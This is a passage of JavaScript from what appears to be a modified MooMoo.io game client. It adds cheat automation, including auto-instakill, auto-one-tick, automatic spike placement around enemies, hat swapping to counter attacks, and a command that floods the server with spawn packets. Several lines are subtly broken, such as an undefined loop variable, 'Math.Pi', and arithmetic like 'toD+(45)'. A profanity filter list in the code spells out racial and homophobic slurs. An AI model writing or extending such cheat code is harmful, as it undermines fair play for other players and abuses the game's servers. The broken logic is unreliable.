s.send(input[1], input[2], input[3]);
addChatHistory("Sent ["+input[1]+",["+input[2]+","+input[3]+"]]");
}else if(input.length == 4){
s.send(input[1], input[2], input[3], input[4]);
addChatHistory("Sent ["+input[1]+",["+input[2]+","+input[3]+","+input[5]+"]]");
}else{
addChatHistory("Invalid number of entries");
}
});
addCommand("clan", function(input){
s.send(8, input[1]);
addChatHistory("Attemped to make clan '"+input[1]+"'")
});
addCommand("unClan", function(input){
s.send(9);
addChatHistory("Attempted to leave clan");
});
addCommand("join", function(input){
s.send(10, input[1]);
addChatHistory("Attempted to join clan '"+input[1]+"'");
});
addCommand("kick", function(input){
if(isNaN(input[1])){
addChatHistory("'"+input[1]+"' is not a id(number)");
}else{
if(isAlly(input[1])){
if(A.isOwner){
s.send(12, input[1]);
addChatHistory("Attempted to kick '"+input[1]+"'");
}else{
addChatHistory("You are not owner");
}
}else{
addChatHistory("'"+input[1]+"' is not in clan");
}
}
});
addCommand("upgrade", function(input){
input[1] = input[1].replace("_", " ");
input[1] = input[1].toLowerCase();
if(isNaN(input[1])){
for(let i = 0;i < l.weapons.length;i++){
if(items.weapons[i].name == input[1]){
s.send(6, i);
addChatHistory("Attempted to upgrade to '"+l.weapons[i].name+"'");
return;
}
}
addChatHistory("Weapon '"+input[1]+"' not found");
}else{
if(items.weapons[input[1]]){
s.send(6, input[1]);
addChatHistory("Attempted to upgrade to '"+l.weapons[input[1]].name+"'");
}else{
addChatHistory("Weapon '"+input[1]+"' not found");
}
}
});
addCommand("disconnect", function(input){
for(let i = 0;i < 10;i++){
r.send("sp", {
name: "Kick",
moofoll: H,
skin: ae
})
}
});
function $t() {
ti ? setTimeout((function() {
var e = prompt("chat message");
e && Zt(e)
}
), 1) : "block" == Qt.style.display ? (Jt.value && doCommand(Jt.value) && cf(Jt.value),
Jt.value.charAt(0) == commandPrefix || ei()) : (Je.style.display = "none",
qe.style.display = "none",
Qt.style.display = "block",
Jt.focus(),
ui()),
Jt.value = ""
}
function Zt(e) {
s.send("ch", e.slice(0, 30))
}
function ei() {
Jt.value = "",
Qt.style.display = "none"
}
var ti, ii, ni = ["cunt", "whore", "fuck", "shit", "faggot", "nigger", "nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis", "clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn", "bitch", "dick", "fag", "bastard"];
function si(e, t) {
var i = findP(e);
i && (i.chatMessage = function(e) {
for (var t, i = 0; i < ni.length; ++i)
if (e.indexOf(ni[i]) > -1) {
t = "";
for (var n = 0; n < ni[i].length; ++n)
t += t.length ? "o" : "M";
var s = new RegExp(ni[i],"g");
e = e.replace(s, t)
}
return e
}(t),
i.chatCountdown = r.chatCountdown)
}
function oi() {
_ = window.innerWidth,
F = window.innerHeight;
var e = Math.max(_ / ae, F / re) * V;
we.width = _ * V,
we.height = F * V,
we.style.width = _ + "px",
we.style.height = F + "px",
ve.setTransform(e, 0, 0, e, (_ * V - ae * e) / 2, (F * V - re * e) / 2)
}
function setZ(e, t){
if(ae == e && re == t) return;
ae = e;
re = t;
oi();
}
function ai(e) {
(ti = e) ? Ce.classList.add("touch") : Ce.classList.remove("touch")
}
function ri(e) {
e.preventDefault(),
e.stopPropagation(),
ai(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var i = e.changedTouches[t];
i.identifier == ne.id ? (ne.id = -1,
gi()) : i.identifier == se.id && (se.id = -1,
A.buildIndex >= 0 && (j = 1,
fi()),
j = 0,
fi())
}
}
function ci() {
return A ? (-1 != se.id ? ii = Math.atan2(se.currentY - se.startY, se.currentX - se.startX) : A.lockDir || ti || (ii = Math.atan2(ie - F / 2, te - _ / 2)),
o.fixTo(ii || 0, 2)) : 0
}
window.addEventListener("resize", o.checkTrusted(oi)),
oi(),
ai(!1),
window.setUsingTouch = ai,
we.addEventListener("touchmove", o.checkTrusted((function(e) {
e.preventDefault(),
e.stopPropagation(),
ai(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var i = e.changedTouches[t];
i.identifier == ne.id ? (ne.currentX = i.pageX,
ne.currentY = i.pageY,
gi()) : i.identifier == se.id && (se.currentX = i.pageX,
se.currentY = i.pageY,
j = 1)
}
}
)), !1),
we.addEventListener("touchstart", o.checkTrusted((function(e) {
if (!ce)
return e.preventDefault(),
!1;
e.preventDefault(),
e.stopPropagation(),
ai(!0);
for (var t = 0; t < e.changedTouches.length; t++) {
var i = e.changedTouches[t];
i.pageX < document.body.scrollWidth / 2 && -1 == ne.id ? (ne.id = i.identifier,
ne.startX = ne.currentX = i.pageX,
ne.startY = ne.currentY = i.pageY,
gi()) : i.pageX > document.body.scrollWidth / 2 && -1 == se.id && (se.id = i.identifier,
se.startX = se.currentX = i.pageX,
se.startY = se.currentY = i.pageY,
A.buildIndex < 0 && (j = 1,
fi()))
}
}
)), !1),
we.addEventListener("touchend", o.checkTrusted(ri), !1),
we.addEventListener("touchcancel", o.checkTrusted(ri), !1),
we.addEventListener("touchleave", o.checkTrusted(ri), !1),
we.addEventListener("mousemove", (function(e) {
e.preventDefault(),
e.stopPropagation(),
ai(!1),
te = e.clientX,
ie = e.clientY
}), !1);
var mI = 0;
we.addEventListener("mousedown", (function(e) {
ai(!1), 1 != j && (j = 1, mI = e.button, fi())
}), !1),
we.addEventListener("mouseup", (function(e) {
ai(!1), 0 != j && (j = 0, fi())
}), !1);
var li = {}
, hi = {
87: [0, -1],
38: [0, -1],
83: [0, 1],
40: [0, 1],
65: [-1, 0],
37: [-1, 0],
68: [1, 0],
39: [1, 0]
};
function ui() {
li = {},
s.send("rmd")
}
function di() {
return "block" != qe.style.display && "block" != Qt.style.display
}
function fi() {
}
window.addEventListener("keydown", o.checkTrusted((function(e) {
var t = e.which || e.keyCode || 0;
[81, 70, 86, 72].includes(t) && (placer.toggle = true);
27 == t ? Gt() : A && A.alive && di() && (li[t] || (li[t] = 1,
80 == t ? autoGrind.toggle = !autoGrind.toggle : 81 == t ? placer.itemIndex = 0 : 190 == t ? reload1.toggle = !reload1.toggle : 191 == t ? reload2.toggle = !reload2.toggle : 86 == t ? placer.itemIndex = 2 : 78 == t ? autoMill.toggle = !autoMill.toggle : 70 == t ? placer.itemIndex = 4 : 72 == t ? placer.itemIndex = 5 : 69 == t ? s.send("7", 1) : 67 == t ? toggleSing() : 88 == t ? (A.lockDir = A.lockDir ? 0 : 1,
s.send("7", 0)) : null != A.weapons[t - 49] ? yi(A.weapons[t - 49], !0) : null != A.items[t - 49 - A.weapons.length] ? yi(A.items[t - 49 - A.weapons.length]) : 81 == t ? yi(A.items[0]) : 66 == t ? (autoOneTick.toggle = !autoOneTick.toggle, !autoOneTick.toggle && (mf(null))) : 84 == t ? autoPlacer.toggle = !autoPlacer.toggle : 82 == t ? autoInstakill.toggle = !autoInstakill.toggle : hi[t] ? gi() : 32 == t && (j = 1,
fi())))
}
))),
window.addEventListener("keyup", o.checkTrusted((function(e) {
if (A && A.alive) {
var t = e.which || e.keyCode || 0;
[81, 70, 86, 72].includes(t) && (placer.toggle = false);
13 == t ? $t() : di() && li[t] && (li[t] = 0,
hi[t] ? gi() : 32 == t && (j = 0,
fi()))
}
}
)));
var pi = void 0;
function gi() {
if(mover) return;
var e = function() {
var e = 0
, t = 0;
if (-1 != ne.id)
e += ne.currentX - ne.startX,
t += ne.currentY - ne.startY;
else
for (var i in hi) {
var n = hi[i];
e += !!li[i] * n[0],
t += !!li[i] * n[1]
}
return 0 == e && 0 == t ? void 0 : o.fixTo(Math.atan2(t, e), 2)
}();
(null == pi || null == e || Math.abs(e - pi) > .3) && (s.send("33", e), pi = e)
}
function mi() {
s.send("14", 1);
}
function yi(e, t) {
if (!A.alive) return;
if (!A[t ? "weapons" : "items"].includes(e)) return;
if (t) {
if (oldBuild == -1 && oldWeapon == e) return;
s.send("5", e, true);
} else {
if (oldBuild == e) return;
s.send("5", e);
}
}
function wf(e){
if (!A.alive) return;
if (oldWatchAngle == e) return;
s.send("2", e);
}
function pf(e, t = null){
if(packetEngine.count >= 80) return;
if (!A.alive) return;
if (!A.items.includes(e)) return;
let fixAngle = oldWatchAngle;
if (A.buildItem(l.list[e], t) != false && typeof A.buildItem(l.list[e], t) != "object") {
yi(e);
s.send("c", 1, t);
yi(oldWeapon, true);
anythingWorks() && wf(fixAngle);
return true;
}
}
function bf(e, t){
if (!A.alive) return;
if (sentDatas[(t ? "tails" : "skins")][e]) return true;
let obj = store[(t ? "accessories" : "hats")].find(n => n.id == e);
if (obj && A.points < obj.price) return false;
if (sentDatas.lastTry.buy[(e ? "tail" : "skin") + "Index"] == e) return true;
s.send("13c", 1, e, t);
return true;
}
function ef(e, t){
e = (equiper ? forceEquip[Number(t)] : e);
if (!A.alive) return;
bf(e, t);
if (!sentDatas[(t ? "tails" : "skins")][e]) {
if(sentDatas.lastTry.equip[(t ? "tail" : "skin") + "Index"] != 0){
s.send("13c", 0, 0, t);
}
return false;
} else if (sentDatas.lastTry.equip[(t ? "tail" : "skin") + "Index"] == e) return true;
s.send("13c", 0, e, t);
return true;
}
function mf (e) {
if (!A.alive) return;
if (oldMoveAngle == e) return true;
s.send("33", e);
return true;
}
function cf (e) {
if (!A.alive) return;
if (oldChatText == e) return false;
s.send("ch", e);
setTimeout(() => {
oldChatText = "";
}, 3e3);
return true;
};
function hf(e){
if (e) {
autoHitToggle == 0 && s.send("7", 1);
autoHitToggle++;
} else {
autoHitToggle == 1 && s.send("7", 1);
autoHitToggle--;
}
}
function ki() {
window.FRVR && window.FRVR.tracker.levelStart("game_start"),
T("moo_name", Le.value),
!ce && s.connected && (ce = !0,
x.stop("menu"),
dt("Loading..."),
s.send("sp", {
name: Le.value,
moofoll: H,
skin: oe
})),
function() {
var e = document.getElementById("ot-sdk-btn-floating");
e && (e.style.display = "none")
}()
}
var wi = !0;
function vi(e) {
Pe.style.display = "none",
Me.style.display = "block",
le.style.display = "none",
li = {},
D = e,
j = 0,
ce = !0,
wi && (wi = !1, N.length = 0)
}
function bi(e, t, i, n) {
m.showText(e, t, 50, .24, 900, Math.abs(i), i >= 0 ? "#fff" : "#8ecc51")
}
var xi = 99999;
function Si() {
ce = !1,
function() {
var e = document.getElementById("ot-sdk-btn-floating");
e && (e.style.display = "block")
}();
try {
factorem.refreshAds([2], !0)
} catch (e) {}
Ee.style.display = "none",
Gt(),
vt = {
x: A.x,
y: A.y
},
Pe.style.display = "none",
xi = 0,
Me.style.display = "block",
le.style.display = "block",
pt();
oldBuild = -1;
oldWeapon = 0;
}
function Ii(e) {
if(A){
for(let i = 0;i<N.length;i++){
let t = N[i];
if(t.owner?.sid == e){
tt.disableBySid(t.sid);
}
}
}
}
let ticks = {
tick: 0,
manage: []
}
let modLogs = [];
function Ti(e) {
tt.disableBySid(e);
let n = Sn(e);
if(n && cdf(A, n) < 200){
if(enemies.length){
let dist = cdf(A, enemy);
let dir = caf(A, enemy);
let ignore = [0, 0];
let doneSpikeTick = autoKillerHit.toDo.length ? true : false;
let trySpikeTick = function(t){
let spikeTickable;
!doneSpikeTick && (spikeTickable = enemies.find(e => e.skinIndex != 6 && cdf(A.buildItemPos(items.list[A.items[2]], t), e) <= 35 + items.list[A.items[2]].scale)) && (autoKillerHit.run(spikeTickable, items.list[A.items[2]].dmg), autoKillerHit.toDo.length && (doneSpikeTick = true));
}
let place = function(t, f){
trySpikeTick(f);
pf(t, f);
}
try {
if(!lastWorked.autoPlacer && dist < 500){
if(dist <= 300){
place(A.items[2], dir);
if(dist <= 305) {
if (dist <= 300) {
if (dist <= 235) {
if (dist <= 225) {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
pf(A.items[2], dir+i);
}
} else {
for (let i = Math.PI/1.5; i < Math.PI*2; i+= Math.PI/1.5) {
pf(A.items[2], dir+i);
}
}
if(cdf(A, enemy) <= 120) {
let aimTo = caf(A, enemy)
let an1 = i * 3 * Math.cos(i + toR) / 180 * Math.PI + aimTo, an2 = i * 3 * Math.sin(i + toR) / 180 * Math.PI + aimTo;
pf(A.items[2], an1)
pf(A.items[2], an2)
} else {
let s = (cdf(A, enemy) <= 70 ? [caf(A, enemy), caf(A, enemy) + 2 * Math.PI] : [caf(A, enemy) + Math.PI / 2, caf(A, enemy) + 3 * Math.PI / 2])
place(A.items[2], dir)
for(let i = s[0];i < s[1];i += Math.PI / 12) {
pf(A.items[2], dir+i)
}
}
} else {
if(dist == 245) {
pf(a.items[2], dir)
if(dist <= 225) {
place(A.items[2], dir);
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
} else {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/6)))
}
} else if(dist <= 230) {
place(A.items[2], dir);
if(dist <= 200) {
place(A.items[2], dir)
} else {
place(A.items[2], dir);
if(dist <= 45) {
place(A.items[2], dir)
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(45)))
} else {
if(cdf(A, h) <= 180) {
place(A.items[2], dir)
}
}
}
} else {
place(A.items[2], dir)
}
if(dist <= 210) {
place(A.items[2], dir);
if(dist <= 220) {
place(A.items[2], dir);
} else if(dist <= 180) {
place(A.items[2], dir+toD(45));
place(A.items[2], dir-toD(45));
} else {
if(dist <= 120) {
place(A.items[2], dir+toD(45));
place(A.items[2], dir-toD(45));
} else {
for (let i = 0; i < Math.PI*2; i+= Math.PI/1.5) {
pf(a.items[2], dir+i);
}
}
}
} else if(dist <= 210) {
numArr(0, Math.PI/2, (i)=>{
let placed;
if(ignore[0]){
placed = false;
ignore[0]--;
} else {
place(A.items[2], dir+i) && (toD(i) < items.list[A.items[2]].scale && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12))), placed = true);
}
placed && (ignore[0] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/6)));
if(!placed || utils.getAngleDist(dir+i, dir-i) > toR(items.list[A.items[2]].scale)){
if(ignore[1]){
ignore[1]--;
} else {
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/6)))
}
}
}, Math.PI/12)
} else {
if(dist <= 50) {
place(A.items[2], dir+toD(45));
place(A.items[2], dir-toD(45));
} else if(dist <= 80) {
place(A.items[2], dir)
if(dist <= 115) {
numArr(0, Math.PI/2, (i)=>{
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/6)))
if(dist <= 100) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
} else {
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/4)))
}
}, Math.PI/6)
} else if(dist <= 195) {
place(A.items[2], dir)
numArr(0, Math.PI/2, (i)=>{
if(dist <= 190) {
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
} else {
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/6)))
}
}, Math.PI/4)
} else {
if(dist <= 210) {
place(A.items[2], dir)
numArr(0, Math.PI/2, (i)=>{
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
if(dist <= 215) {
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
} else {
place(A.items[2], dir)
}
}, Math.PI/1)
} else if(dist <= 220) {
place(A.items[2], dir)
numArr(0, Math.PI/2, (i)=>{
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.Pi/12)))
if(dist <= 219) {
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
}
}, Math.PI/12)
} else {
place(A.items[2], dir)
}
}
}
}
}
}
}
}
lastWorked.autoReplacer = true;
setTimeout(()=>lastWorked.autoReplacer = false, 200);
if(dist <= 225){
numArr(0, Math.PI/2, (i)=>{
let placed;
if(ignore[0]){
placed = false;
ignore[0]--;
} else {
place(A.items[2], dir+i) && (toD(i) < items.list[A.items[2]].scale && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12))), placed = true);
}
placed && (ignore[0] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)));
if(!placed || utils.getAngleDist(dir+i, dir-i) > toR(items.list[A.items[2]].scale)){
if(ignore[1]){
ignore[1]--;
} else {
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
}
}
}, Math.PI/12);
} else {
let ignore = 0;
if(ignore){
ignore--;
} else {
if(dist <= 300) {
numArr(0, Math.PI*2, (i)=>{
pf(A.items[4], dir+i) && (ignore = Math.ceil(50/Math.PI/6));
}, Math.PI/3);
} else if(dist <= 250) {
numArr(0, Math.PI*2, (i)=>{
pf(A.items[4], dir+i) && (ignore = Math.ceil(50/Math.PI/6));
}, Math.PI/2);
}
if(dist <= 201) {
place(A.items[2], dir)
} else if(dist <= 205) {
place(A.items[2], dir)
}
}
}
if(dist <= 300) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
if(dist <= 235) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
} else if(dist <= 195) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD+(45)))
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD-(45)))
if(dist <= 70) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
numArr(0, Math.PI/2, (i)=>{
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
if(dist <= 75) {
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
} else {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
if(dist <= 45) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD+(45)))
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD-(45)))
} else {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
}
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/2)))
if(dist <= 235) {
place(A.items[2], dir+toR(45))
place(A.items[2], dir-toR(45))
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/4)))
}
}
}, Math.PI/12)
} else {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
}
} else if(dist <= 80) {
place(A.items[2], dir+toR(45))
place(A.items[2], dir-toR(45))
if(dist <= 50) {
place(A.items[2], dir)
pf(A.items[2], dir)
}
numArr(0, Math.PI/2, (i)=>{
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
if(dist <= 275) {
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/12)))
}
}, Math.PI/12)
}
} else if(dist <= 250) {
numArr(0, Math.PI/2, (i)=>{
if(dist <= 230) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale))
if(dist <= 215) place(A.items[2], dir)
if(dist <= 225) {
place(a.items[2], dir)
if(dist <= 224) {
place(a.items[2], dir)
} else {
place(a.items[2], dir)
}
} else {
place(A.items[2], dir+i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/3)))
}
} else {
place(A.items[2], dir-i) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD(Math.PI/2)))
}
}, Math.PI/12)
} else if(dist <= 230) {
pf(A.items[2], dir)
if(dist <= 215) {
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD+(45)))
place(A.items[2], dir) && (ignore[1] = Math.ceil(items.list[A.items[2]].scale/toD-(45)))
} else if(dist <= 210) {
place(A.items[2], dir)
place(A.items[2], dir+toD(45))
place(A.items[2], dir-toD(45))
pf(A.items[2], dir+toD(45))
} else {
place(A.items[2], dir)
}
} else {
place(A.items[2], dir)
if(dist <= 45) {
place(A.items[2], dir+toR(45))
place(A.items[2], dir-toR(45))
} else {
place(A.items[2], dir)
if(dist <= 65) {
place(A.items[2], dir+toR(45))
place(A.items[2], dir-toR(45))
} else if(dist <= 80) {
place(A.items[2], dir)
} else {
place(A.items[2], dir)
}
}
place(A.items[2], dir)
}
}
} catch(e) {
console.error(e)
}
}
if(!autoPlacer) return;
return;
}
}
function Mi() {
Be.innerText = A.points,
je.innerText = A.food,
Ae.innerText = A.wood,
De.innerText = A.stone,
Ue.innerText = A.kills
}
var Ci = {}
, Pi = ["crown", "skull"]
, Ei = [];
function Oi(e, t) {
if (A.upgradePoints = e,
A.upgrAge = t,
e > 0) {
Ei.length = 0,
o.removeAllChildren(He);
for (var i = 0; i < l.weapons.length; ++i)
l.weapons[i].age == t && (null == l.weapons[i].pre || A.weapons.indexOf(l.weapons[i].pre) >= 0) && (o.generateElement({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function() {
wt()
},
parent: He
}).style.backgroundImage = document.getElementById("actionBarItem" + i).style.backgroundImage,
Ei.push(i));
for (i = 0; i < l.list.length; ++i)
if (l.list[i].age == t && (null == l.list[i].pre || A.items.indexOf(l.list[i].pre) >= 0)) {
var n = l.weapons.length + i;
o.generateElement({
id: "upgradeItem" + n,
class: "actionBarItem",
onmouseout: function() {
wt()
},
parent: He
}).style.backgroundImage = document.getElementById("actionBarItem" + n).style.backgroundImage,
Ei.push(n)
}
for (i = 0; i < Ei.length; i++)
!function(e) {
var t = document.getElementById("upgradeItem" + e);
t.onmouseover = function() {
l.weapons[e] ? wt(l.weapons[e], !0) : wt(l.list[e - l.weapons.length])
}
,
t.onclick = o.checkTrusted((function() {
s.send("6", e)
}
)),
o.hookTouchEvents(t)
}(Ei[i]);
Ei.length ? (He.style.display = "block",
Ve.style.display = "block",
Ve.innerHTML = "SELECT ITEMS (" + e + ")") : (He.style.display = "none",
Ve.style.display = "none",
wt())
} else
He.style.display = "none",
Ve.style.display = "none",
wt()
}
function Bi(e, t, i) {
null != e && (A.XP = e),
null != t && (A.maxXP = t),
null != i && (A.age = i),
i == r.maxAge ? (_e.innerHTML = "MAX AGE",
Fe.style.width = "100%") : (_e.innerHTML = "AGE " + A.age,
Fe.style.width = A.XP / A.maxXP * 100 + "%")
}
function ji(e) {
o.removeAllChildren(Re);
for (var t = 1, i = 0; i < e.length; i += 3){
o.generateElement({
class: "leaderHolder",
parent: Re,
children: [o.generateElement({
class: "leaderboardItem",
style: "color:" + (e[i] == D ? "#fff" : "rgba(255,255,255,0.6)"),
text: t + ". " + ("" != e[i + 1] ? e[i + 1] : "unknown")
}), o.generateElement({
class: "leaderScore",
text: o.numberFormat(e[i + 2]) || "0"
})]
})
t++;
}
}
let Ai = null;
function Di(e, t, i, n) {
ve.save(),
ve.setTransform(1, 0, 0, 1, 0, 0),
ve.scale(V, V);
var s = 50;
ve.beginPath(),
ve.arc(e, t, s, 0, 2 * Math.PI, !1),
ve.closePath(),
ve.fillStyle = "rgba(255, 255, 255, 0.3)",
ve.fill(),
s = 50;
var o = i - e
, a = n - t
, r = Math.sqrt(Math.pow(o, 2) + Math.pow(a, 2))
, c = r > s ? r / s : 1;
o /= c,
a /= c,
ve.beginPath(),
ve.arc(e + o, t + a, .5 * s, 0, 2 * Math.PI, !1),
ve.closePath(),
ve.fillStyle = "white",
ve.fill(),
ve.restore()
}
function Ui(e, t, i) {
for (var n = 0; n < Y.length; ++n)
(U = Y[n]).active && U.layer == e && (U.update(E),
U.active && pn(U.x - t, U.y - i, U.scale) && (ve.save(),
ve.translate(U.x - t, U.y - i),
ve.rotate(U.dir),
Li(0, 0, U, ve, 1),
ve.restore()))
}
var Ri = {};
function Li(e, t, i, n, s) {
if (i.src) {
var o = l.projectiles[i.indx].src
, a = Ri[o];
a || ((a = new Image).onload = function() {
this.isLoaded = !0
}
,
a.src = ".././img/weapons/" + o + ".png",
Ri[o] = a),
a.isLoaded && n.drawImage(a, e - i.scale / 2, t - i.scale / 2, i.scale, i.scale)
} else
1 == i.indx && (n.fillStyle = "#939393",
en(e, t, i.scale, n))
}
function zi(e, t, i, n) {
var s = r.riverWidth + n
, o = r.mapScale / 2 - t - s / 2;
o < re && o + s > 0 && i.fillRect(0, o, ae, s)
}
function _i(e, t, i) {
if(ticked < 25){
buildings = [];
}
for (var n, s, o, a = 0; a < N.length; ++a)
if((U = N[a]).active){
if(ticked < 25){
if(A && cdf(A, U) <= 1000){
buildings.push(U);
}
}
s = U.x + U.xWiggle - t;
o = U.y + U.yWiggle - i;
0 == e && U.update(E);
if(U.layer == e && pn(s, o, U.scale + (U.blocker || 0))){
ve.globalAlpha = U.hideFromEnemy ? .6 : 1;
if(U.isItem){
n = Zi(U);
ve.save();
ve.translate(s, o);
ve.rotate(U.dir);
ve.drawImage(n, -n.width / 2, -n.height / 2);
U.blocker && (ve.strokeStyle = "#db6e6e",
ve.globalAlpha = .3,
ve.lineWidth = 6,
en(0, 0, U.blocker, ve, !1, !0));
ve.restore();
} else {
n = Qi(U);
ve.drawImage(n, s - n.width / 2, o - n.height / 2);
}
}
}
}
function Fi(e, t, i, isFixed) {
let doneSpikeTick = autoKillerHit.toDo.length ? true : false;
let trySpikeTick = function(t){
let spikeTickable;
!doneSpikeTick && (spikeTickable = enemies.find(e => e.skinIndex != 6 && cdf(A.buildItemPos(items.list[A.items[2]], t), e) <= 35 + items.list[A.items[2]].scale)) && (autoKillerHit.run(spikeTickable, items.list[A.items[2]].dmg), autoKillerHit.toDo.length && (doneSpikeTick = true));
}
let place = function(t, f){
trySpikeTick(f);
pf(t, f);
}
if(isFixed) {
if(U = findP(e)){
U.hitTime = Date.now() - window.pingTime;
U.reloads[i] = l.weapons[i].speed;
U.weapons[Number(i > 8)] = i;
let variant = U.variants[i];
let weapon = l.weapons[i];
let damage = l.weapons[i].dmg * (U.skin?.dmgMultO || 1) * (U.tail?.dmgMultO || 1) * variant.val;
let damageB = l.weapons[i].dmg * (l.weapons[i].sDmg || 1) * (U.skin?.bDmg || 1) * variant.val;
if(t){
for(let h of N){
if(!h.foundHitter && h.active && tick - h.lastWiggle <= oT && cdf(h, U) - h.scale <= weapon.range && utils.getAngleDist(U.d2, caf(U, h)) <= Math.PI/2.6){
h.foundHitter = U;
h.health = Math.max(0, h.health - damageB);
}
}
// HEAL:
for(let h of players){
let _damage = damage * (h.skin?.dmgMult || 1);
if(U != h && _damage == -h.lastBleed.amount && tick - h.lastBleed.time <= oT && cdf(h, U) - 63 <= weapon.range * 2 && utils.getAngleDist(U.d2, caf(U, h)) <= Math.PI/2.6){
if(U == A){
if(!isAlly(U, h)){
if(h.skinIndex == 11 && h.tailIndex == 21 && canAntiBull(A) && canAntiBull(U)){
var amount = window.pingTime <= 120 ? 120 : 100;
if(A.shameCount <= 5){
pf(A.items[0]);
} else {
equiper++;
forceEquip = [6, 13];
ef(forceEquip[0], 0);
ef(forceEquip[1], 1);
setTimeout(()=>{
equiper--;
}, oT);
}
}
}
} else if(!isAlly(U, h)){
if(h == A){
if([3, 4, 5].includes(i) && U.tailIndex != 11){
if(!antiSync.weapons.hits.includes(e)){
antiSync.weapons.hits.push(e);
if(antiSync.weapons.time && tick - antiSync.weapons.time > 3){
antiSync.weapons.time = 0;
antiSync.weapons.hits = [];
} else {
antiSync.weapons.time = tick;
}
if(antiSync.weapons.hits.length >= 2){
antiSync.weapons.hits = [];
antiSync.weapons.time = 0;
if(A.shameCount <= 5){
pf(A.items[0]);
} else {
equiper++;
forceEquip = [6, 13];
ef(forceEquip[0], 0);
ef(forceEquip[1], 1);
setTimeout(()=>{
equiper--;
}, oT);
}
}
}
}
if(A.tailIndex == 21){
autoKillerHit.run(U);
}
}
}
if((U.skinIndex == 21 || variant.poison)){
h.dmgOverTime.amount = -5;
h.dmgOverTime.time = 4;
setTimeout(()=>{
h.dmgOverTime.time = -1;
}, 5e3);
}
}
}
}
}
} else {
fixed.push({run: Fi, datas: [e, t, i, true]});
findP(e)?.startAnim(t, i);
}
}
function Hi(e, t, i) {
ve.globalAlpha = 1;
let customDir = ci();
if(lastWorked.autoReplacer && reload1.toggle && reload2.toggle){
customDir = toR(Math.random() * 360);
} else if(!reload1.toggle && a.lockMove) {
customDir = A.d
} else if(reload1.toggle){
if(([...autos, autoOneTick].find(z => z.toDo.length) || scriptMode == "plagueClick" || scriptMode == "bullClick" || scriptMode == "autoBreak")) {
customDir = A.d2/*enemyes.x - enemyes.x2, enemyes.y - enemyes.y2;*/
}
} else if(!reload1.toggle) {
if(([...autos, autoOneTick].find(z => z.toDo.length) || scriptMode == "plagueClick" && A.lockMove || scriptMode == "bullClick" && A.lockmove || scriptMode == "autoBreak" && A.lockMove)) {
customDir = A.d2/*enemyes.x - enemyes.x2, enemyes.y - enemyes.y2;*/
}
} else if(reload2.toggle) {
if(([...autos, autoOneTick].find(z => z.toDo.length) || scriptMode == "plagueClick" && A.lockMove || scriptMode == "bullClick" && A.lockmove || scriptMode == "autoBreak" && A.lockMove)) {
customDir = Math.random()*360;
}
}
for (var n = 0; n < X.length; ++n)
(U = X[n]).zIndex == i && (U.animate(E),
U.visible && (U.skinRot += .002 * E,
z = (A == U ? customDir : U.dir) + U.dirPlus,
ve.save(),
ve.translate(U.x - e, U.y - t),
ve.rotate(z),
